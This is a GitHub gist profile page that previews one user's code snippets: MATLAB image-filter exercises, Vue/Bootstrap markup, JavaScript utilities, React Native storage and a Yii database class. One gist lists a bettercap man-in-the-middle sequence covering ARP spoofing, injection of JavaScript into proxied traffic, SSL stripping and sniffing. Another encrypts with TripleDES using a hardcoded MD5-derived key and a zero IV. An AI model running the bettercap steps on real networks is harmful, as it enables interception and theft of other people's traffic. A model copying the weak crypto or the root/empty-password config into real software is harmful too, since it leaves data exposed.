Skip to content

Instantly share code, notes, and snippets.

View cdw1p's full-sized avatar
🤖

Cahyo Dwi Putro cdw1p

🤖
View GitHub Profile
function F1 = kegiatan2()
I = imread('eight.tif');
figure,imshow(I);
I1 = edge(I,'Roberts');
I2 = edge(I,'Roberts',0.1);
I3 = edge(I,'Roberts',0.2);
subplot(2,2,1); imshow(I); title('Citra Asli');
subplot(2,2,2); imshow(I1); title('Citra Threshold Default');
subplot(2,2,3); imshow(I2); title('Citra Threshold 0.1');
subplot(2,2,4); imshow(I3); title('Citra Threshold 0.2');
function F1 = kegiatan1()
I = imread('eight.tif');
figure,imshow(I);
I5 = imfilter(I, fspecial('average', 5));
I7 = imfilter(I, fspecial('average', 7));
I9 = imfilter(I, fspecial('average', 9));
subplot(2,2,1); imshow(I); title('Citra Asli');
subplot(2,2,2); imshow(I5); title('Ukuran Filter 5');
subplot(2,2,3); imshow(I7); title('Ukuran Filter 7');
subplot(2,2,4); imshow(I9); title('Ukuran Filter 9');
<?php
/**
* MySQL Configuration
*/
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'database';
/**
@cdw1p
cdw1p / gist:97bede14c6dee382c5f28d0c198e4244
Created November 14, 2020 15:07
Example Pokemon Album w/ Vue.js
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
<meta name="generator" content="Jekyll v4.1.1">
<title>Album example · Bootstrap</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
function getTimeRemaining(endtime) {
var t = Date.parse(endtime) - Date.parse(new Date());
var seconds = Math.floor((t / 1000) % 60);
var minutes = Math.floor((t / 1000 / 60) % 60);
var hours = Math.floor((t / (1000 * 60 * 60)) % 24);
var days = Math.floor(t / (1000 * 60 * 60 * 24));
return {
'total': t,
'days': days,
'hours': hours,
@cdw1p
cdw1p / TripleDES-Encryption.js
Last active October 7, 2020 04:24
TripleDES Encrypt and Decrypt in Node.js Using CryptoJS
const CryptoJS = require('crypto-js')
const EncKey = CryptoJS.MD5('SECRET')
const EncIV = CryptoJS.lib.WordArray.create(64/8)
const encodeString = (string) => new Promise((resolve, reject) => {
try {
const stringEncrypt = CryptoJS.TripleDES.encrypt(string, EncKey, { iv: EncIV })
resolve(stringEncrypt.toString())
} catch (error) {
reject(error)
@cdw1p
cdw1p / command.txt
Created September 19, 2020 21:21
Network Exploitation With Bettercap
sudo bettercap -iface <interface>
net.probe on
net.recon on
arp.spoof on
set http.proxy.injectjs /home/inject.js
set http.proxy.sslstrip true
http.proxy on
net.sniff on
@cdw1p
cdw1p / Component.js
Last active October 8, 2020 04:32
React Native Stored with AsyncStorage
import React, { PureComponent } from 'react'
import { SafeAreaView } from 'react-native'
import { storeDataString, storeDataObject, getDataString, getDataObject } from 'RNGlobalDataStored.js'
class Component extends PureComponent {
constructor(props) {
super(props)
this.state = {
data: null
}
@cdw1p
cdw1p / CalculateDate.js
Last active September 5, 2020 11:10
Calculate between expiration date and the current date
const moment = require('moment')
let dateToday = '07/09/2020', expiredDate = '08/09/2020'
let currentDate = moment(expiredDate, 'DD/MM/YYYY').diff(moment(dateToday, 'DD/MM/YYYY'))
let calcDays = moment.duration(currentDate).asDays()
if (calcDays >= 0) {
console.log(`Left ${calcDays} days`)
} else {
console.log('Expired')
<?php
/**
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
*/
namespace yii\db\oci;
use yii\base\InvalidCallException;